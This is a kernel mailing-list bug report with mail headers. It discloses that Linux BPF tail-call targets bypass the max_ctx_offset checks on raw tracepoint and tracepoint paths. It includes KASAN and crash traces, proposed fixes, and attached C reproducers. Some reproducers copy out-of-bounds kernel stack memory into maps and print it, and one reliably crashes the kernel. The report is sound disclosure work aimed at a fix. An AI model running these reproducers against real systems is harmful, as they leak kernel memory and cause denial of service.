From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=74.125.82.175 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1796461591; b=ZiKvOcGO+zGfhI5BKMOq3rAAsO5bm8IqwqNYXQ7ruViTffXn3/FllLnc9NKMMsCS1nmn l+Df4wrpeIlUmFKDEyW2kgPnoHawthcGF0035v8KRjrGEoSklejOispaq/rL8dXMD2jnm fW7zyAZ8OsJXKmcr+YPNlXvNyCX2vJJvzNXjQi9UB6MmkWeusthT7rLZOfF5ABJYJTplJ To16QbGWXqELh9VunvEu1AJF3+Ee5ssh9d+UENyVFqoCkSdRcpl0OkGPTciRR5r6ULItJ KZhZJ6R8MQE9cMsmagn38kxPcIIkhtzB3JQ9JcSfGRdhXTop89dYL14p5F9u/Avf9HA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1796461591; h=DMARC-Filter:Received:X-Google-DKIM-Signature:X-Forwarded-Encrypted: X-Gm-Message-State:X-Gm-Gg:X-Received:Received:Date:From:To:Cc: Subject:Message-ID:MIME-Version:Content-Type:Content-Disposition; bh=iByrmULCui+Qp5hnkPh0S/OOUo+iBQXs4pe0lWwfPiM=; b=Eft8motvhSN/Owp+YmCWRQ/0cxlF9vD/LAw9fEbp4mgljr6f1XXVihCnMCuJKvLwlY4g WDmqSBOJzUERKxNVG01bk9f5yQwrwbCkXy+KFRKQzjayYvmHKIyWgXEkwa2JVa5/l4ttg C4V6BpjeRZfeaosux7+PSgTy03t7bfq+qrN2FRY4HGGeSzAb8WmhY8GwfkOHVtksDpWv8 j1OSwu41yAJWaXyJYW7rnC2aUZin0y1SMn5FNA5WxpoEKm+RwzCy/eHCQdewOEVxyStVv WTTJ+MpjU31s46mW6HpJB0YQItuR9iZBJmmOpVcvWwsRsX8TZq6Rw2N2pt33hrbpgTQ== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=fail header.from=ubuntu.com; spf=pass smtp.mailfrom=gmail.com; arc=none smtp.remote-ip=74.125.82.175 Received: from mail-dy1-f175.google.com (mail-dy1-f175.google.com [74.125.82.175]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 60378606A32F for ; Sat, 5 Dec 2026 09:06:30 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 60378606A32F Authentication-Results: smtp.subspace.kernel.org; dmarc=fail (p=none dis=none) header.from=ubuntu.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Received: by mail-dy1-f175.google.com with SMTP id 5a478bee46e88-386ab9ab619so2844745eec.1 for ; Sat, 05 Dec 2026 01:06:30 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1796461589; x=1797066389; h=content-disposition:content-type:mime-version:message-id:subject:cc :to:from:date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=iByrmULCui+Qp5hnkPh0S/OOUo+iBQXs4pe0lWwfPiM=; b=jGkZfWqkbS/t4/n7U5Ep6dDMTU+yAe24lR4j6ghcXJj9tPo2jiduO2AaY1oOz5kA6J QD8F7mwvWlCo0Ip5cn/oZytg5m6gZpF2uodE39eEX4kR6j74nGUANVus4Y01AEMUAOeX fKCr+FVc+5a3vUU/ECpxOdA4YSJ7I9vRIiJEiAw53E8QTnrK0AZPeh8MFQ0j/S9+0rsR PM1C8eZnmmWO+Y3er357hitk4CanQKtJultRE0IJpgbMTejJw7USaF8Xel2u1zc8hqM1 yViWb/sJcMlw2pWYRt7rdezF0hW7ZENAusI3pL6LnDpX6YGXaZprtUKeTf3YhTNQRax4 wrTw== X-Forwarded-Encrypted: i=1; AL+hErFD70oMzeH3UpHUqjDIXV9Gu4oyn2icV9DT1DcSp2My4RGCtbTd+dph1V7tB3Nv1mpFs/DQWmM=@vger.kernel.org X-Gm-Message-State: APuU4Z9jpMh1u45DSxcjjXHd8BnnZrNeN5sH8oBeo2FyaGPuSshq/3Ys Hjt8hZlDf5YdAfosNxbCi8dtWdY9cGaMouGkf+aoqtuXbkg57/nHopr/ X-Gm-Gg: AZFdTZfnBi5YxIIWFiK96TV8L5jCkf7s/XicvTMcmoas3mk1Kcm1WYvrlq7GV/RiyYU b9gBnu4oJNMld7+wfPoP9gsP75mM3pSL3Yv2MdlAGuE3abMBqaPU0/zrp5cQ7sJLPfVBUjUBWqS 5WZ/TZhkJzDSdDw/iT8LQ6OX+IVzeGK+vWTFvcP5LfVsxSy8PMb6vlLvIrBWVGB/iEwwP8RCVPY IAaJUtA3qQ+5vh2qdrosKtSA8Y/GZ/aeMLMon+ylDcb310Lif0qhYFZgaf2wyqSCH1z33Mt27gS f3yGVpMmiN6OGjn9B9IjyOF4ikAjMm53ZjDQXyJcSV8SnIDJTc9oJ1IqdMNy0YLZcX+vw1mfP3u QcR/z3Xpl87z0NTHcwss2+Zzlp1Ye/c7pFhDIHl5OOSteNXQ5X/ugCIs6kOa076CKL1QliRTJqu fHhHJVaRrHn8H0WMw8YhRBhemLsfFBriwAhjdxnQS1scBZpTksL2UpXJQktX4qTh2Dcp0h7bR4U T5UjvF6UMQ6cf+yaIf0cdx4EaWi81VtBN5dNVdiW+IIk8wUDM467Jjk3VK/x3vHs9XFyape2Wu1 UU2mejKSkWR16tg= X-Received: by 2002:a05:701a:ccce:20b0:1b5:a8b5:34f with SMTP id a92af1059eb24-1b5d710abf9mr4008055c88.15.1796461589019; Sat, 05 Dec 2026 01:06:29 -0800 (PST) Received: from x1c ([2406:7400:bb:fb44:feef:834d:2032:98d5]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-1b5d6455949sm14883572c88.9.2026.12.05.01.06.24 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sat, 05 Dec 2026 01:06:28 -0800 (PST) Date: Sat, 5 Dec 2026 14:36:20 +0530 From: Pragyansh Chaturvedi To: bpf@vger.kernel.org Cc: varunrmallya@gmail.com, kc@kcsrk.info, ngs@cse.iitm.ac.in, ast@kernel.org, daniel@iogearbox.net, andrii@kernel.org, eddyz87@gmail.com, yonghong.song@linux.dev, memxor@gmail.com, netdev@vger.kernel.org, linux-kselftest@vger.kernel.org Subject: bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats) Message-ID: X-Mailing-List: netdev@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="PD/GQNepS9SeH0VD" Content-Disposition: inline --PD/GQNepS9SeH0VD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Subject: bpf: tail-call targets bypass max_ctx_offset checks on raw_tp and tracepoint paths (OOB read, KASAN splat) The verifier records the furthest ctx byte a program may read in prog->aux->max_ctx_offset, and the raw_tp test_run, raw_tp attach, and tracepoint attach paths each refuse a program whose max_ctx_offset exceeds the ctx actually available. Every one of those checks looks only at the program being run or attached; a PROG_ARRAY tail-call target is never checked. A caller that never touches ctx keeps max_ctx_offset = 0, passes the gate, and tail-calls a target that reads far past the real buffer. Commit 08c987904970 ("bpf: Give a syscall program the largest context when it does tail calls") closed this for the SYSCALL test_run path only. Verified live on bpf-next HEAD 289cd43f93ed (2026-12-03, Linux 7.4.0-rc4), x86-64, KASAN + BPF_JIT_KASAN. ---------------------------------------------------------------------- Path 1: raw_tp test_run (net/bpf/test_run.c, bpf_prog_test_run_raw_tp) ctx = memdup_user(ctx_in, ctx_size_in) with no tail_call_reachable padding. Caller (max_ctx_offset 0) -> mid -> target (reads 96 bytes): BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259 Read of size 8 at addr ffff88810486a818 by task ld-linux-x86-64/104 Not tainted 7.4.0-rc4-g289cd43f93ed #4 bpf_prog_..._target+0x2a/0x259 __bpf_prog_test_run_raw_tp+0x5b8/0x900 bpf_prog_test_run_raw_tp+0x42f/0x7e0 __sys_bpf+0x114e/0x5420 __x64_sys_bpf+0xd5/0x1f0 The buggy address belongs to the cache memdup_user-8 of size 8 The buggy address is located 16 bytes to the right of allocated 8-byte region [ffff88810486a800, ffff88810486a808) ---------------------------------------------------------------------- Path 2: raw_tp attach (kernel/trace/bpf_trace.c, bpf_probe_register) Caller attached to sched_switch (3 args, 24-byte stack buffer) tail-calls a target reading 96 bytes: BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x2e0/0x775 Read of size 8 at addr ffffc9000064f200 by task ld-linux-x86-64/112 Not tainted 7.4.0-rc4-g289cd43f93ed #4 bpf_prog_..._target+0x2e0/0x775 bpf_trace_run4+0x641/0xaa0 __schedule+0x1735/0x40f0 The buggy address belongs to stack of task ld-linux-x86-64/112 and is located at offset 128 in frame: This frame has 2 objects: [32, 64) 'run_ctx' [96, 128) 'args' <- read starts at the first byte past 'args' ---------------------------------------------------------------------- Path 3: tracepoint attach (kernel/events/core.c, __perf_event_set_bpf_prog; check is max_ctx_offset > tp arg size, attached program only). Caller on sys_enter_nanosleep (32-byte stack buffer). With an 800-byte read the target program trips KASAN and then crashes the kernel, on a clean boot: BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x4ae/0x211e Read of size 8 at addr ffffc9000067fda0 by task ld-linux-x86-64/105 Not tainted 7.4.0-rc4-g289cd43f93ed-dirty #5 bpf_prog_..._target+0x4ae/0x211e trace_call_bpf_faultable+0x745/0xaf0 perf_call_bpf_enter+0x167/0x2b0 perf_syscall_enter+0x334/0xcd0 trace_syscall_enter+0x62/0xb0 do_syscall_64+0x41f/0x4d0 BUG: unable to handle page fault for address: ffffc90000680000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page Oops: 0000 [#1] SMP KASAN NOPTI RIP: 0010:bpf_prog_..._target+0x1de7/0x211e trace_call_bpf_faultable+0x745/0xaf0 perf_syscall_enter+0x334/0xcd0 Note that trace_call_bpf_faultable() does not contain the read: the JITed target's plain ctx loads are not covered by the faultable wrapper, so the window runs off the task's vmalloc stack into the guard page. This variant is therefore both a silent infoleak at small windows and a reliable kernel crash at larger ones. ---------------------------------------------------------------------- Reproducers (CAP_BPF+CAP_PERFMON): make && ./rawtp_chain_leak ; ./rawtp_attach_leak ; ./tp_attach_bypass [sources attached] ---------------------------------------------------------------------- Analysis: All three gates validate only the attached/run program: net/bpf/test_run.c:796 ctx_size_in < prog->aux->max_ctx_offset net/bpf/test_run.c:808 memdup_user(ctx_in, ctx_size_in), no pad kernel/trace/bpf_trace.c:2209 max_ctx_offset > num_args*8 (attach) kernel/events/core.c:11896 max_ctx_offset > off (attach) prog_fd_array_get_ptr() / __bpf_prog_map_compatible() gate tail-call targets on program type, sleepable, hook key, cgroup storage, but never on max_ctx_offset.vmax_ctx_offset was never added to that list. 08c987904970 fixed the SYSCALL test_run instance of the same field, but the other three paths were out of its scope. Suggested fix: Path 1: apply 08c987904970's treatment to bpf_prog_test_run_raw_tp() (kvzalloc + pad to the max when the run program is tail_call_reachable, mirroring the syscall path's ctx_size_in < U16_MAX rejection). Paths 2+3 are the design question: the buffer size is a property of the hook, the requirement a property of arbitrary future tail-call targets. Options: (a) inflate the caller's max_ctx_offset to U32_MAX when it contains bpf_tail_call (the fixup_tail_calls pattern; correct but makes every tail-calling raw_tp/tp program unattachable). (b) zero-pad the on-stack arg buffers (bpf_trace_runN, perf/tp enter) for tail-call-reachable callers. (c) carry the real ctx size in the run context and bounds-check at tail-call entry. The gap exists since PROG_ARRAY tail calls (04fd61ab36ec, 2015) met the max_ctx_offset checks. Every current release and bpf-next HEAD have it. Thanks Pragyansh and Varun --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_chain_leak.bpf.c" // SPDX-License-Identifier: GPL-2.0 #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 2); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int mid(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 1); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) sink += a[i]; return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_chain_leak.c" // SPDX-License-Identifier: GPL-2.0 /* raw_tp chain caller->mid->target reads 96 bytes from an 8-byte test_run ctx. */ #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "rawtp_chain_leak.bpf.o"; unsigned char ctx[8] = { 1, 2, 3, 4, 5, 6, 7, 8 }; struct bpf_object *obj; int map_fd, cfd, tfd, k; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); cfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "caller")); k = 0; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "mid")); bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY); k = 1; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "target")); bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY); LIBBPF_OPTS(bpf_test_run_opts, o, .ctx_in = ctx, .ctx_size_in = sizeof(ctx)); printf("target direct: %s\n", bpf_prog_test_run_opts(tfd, &o) ? strerror(errno) : "accepted"); printf("via chain: %s\n", bpf_prog_test_run_opts(cfd, &o) ? strerror(errno) : "accepted"); return 0; } --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_attach_leak.bpf.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 96 bytes it reads via `out`. * sched_switch raw_tp has 3 args = 24 bytes; indices >= 3 are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 12); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96; sched_switch has 3 args */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) { __u32 k = i; __u64 v = a[i]; sink += v; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_attach_leak.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: dumps the exfiltrated words; indices >= 3 (byte >= 24) are OOB. */ #include #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "rawtp_attach_leak.bpf.o"; struct bpf_program *caller, *target; struct bpf_object *obj; int map_fd, out_fd, tfd, key = 0; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; caller = bpf_object__find_program_by_name(obj, "caller"); target = bpf_object__find_program_by_name(obj, "target"); map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out")); tfd = bpf_program__fd(target); printf("target direct attach: %s\n", bpf_program__attach_raw_tracepoint(target, "sched_switch") ? "ACCEPTED" : strerror(errno)); bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY); if (!bpf_program__attach_raw_tracepoint(caller, "sched_switch")) return perror("attach caller"), 1; printf("caller attach: ACCEPTED\n"); usleep(100000); for (int i = 0; i < 12; i++) { unsigned long long v = 0; bpf_map_lookup_elem(out_fd, &i, &v); printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v, i >= 3 ? " <- OOB (past 24-byte arg buffer)" : ""); } return 0; } --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="tp_attach_bypass.bpf.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 248 bytes it reads via `out`. * sys_enter_nanosleep tp buffer: 8B common + 8B nr + 2 args = 32 bytes; * indices >= 4 (byte offset >= 32) are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 32); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("tracepoint/syscalls/sys_enter_nanosleep") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("tracepoint/syscalls/sys_enter_nanosleep") int target(void *ctx) /* max_ctx_offset = 256 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 1; i < 100; i++) { __u64 v = a[i]; sink += v; if (i < 32) { __u32 k = i; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } } return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="tp_attach_bypass.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: dumps the exfiltrated words; indices >= 4 (byte >= 32) are OOB. */ #include #include #include #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "tp_attach_bypass.bpf.o"; struct bpf_program *caller, *target; struct bpf_object *obj; int map_fd, out_fd, tfd, key = 0; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; caller = bpf_object__find_program_by_name(obj, "caller"); target = bpf_object__find_program_by_name(obj, "target"); map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out")); tfd = bpf_program__fd(target); printf("target direct attach: %s\n", bpf_program__attach_tracepoint(target, "syscalls", "sys_enter_nanosleep") ? "ACCEPTED" : strerror(errno)); bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY); if (!bpf_program__attach_tracepoint(caller, "syscalls", "sys_enter_nanosleep")) return perror("attach caller"), 1; printf("caller attach: ACCEPTED\n"); struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 }; syscall(SYS_nanosleep, &ts, NULL); /* glibc nanosleep() uses clock_nanosleep; we want nr 35 */ for (int i = 1; i < 32; i++) { unsigned long long v = 0; bpf_map_lookup_elem(out_fd, &i, &v); printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v, i >= 4 ? " <- OOB (past 32-byte tp buffer)" : ""); } return 0; } --PD/GQNepS9SeH0VD Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=Makefile PROGS := rawtp_chain_leak rawtp_attach_leak tp_attach_bypass all: $(PROGS) $(addsuffix .bpf.o,$(PROGS)) %.bpf.o: %.bpf.c clang -O2 -g -target bpf -c $< -o $@ %: %.c $(CC) -O2 -o $@ $< -lbpf -lelf -lz -lzstd clean: rm -f $(PROGS) $(addsuffix .bpf.o,$(PROGS)) .PHONY: all clean --PD/GQNepS9SeH0VD--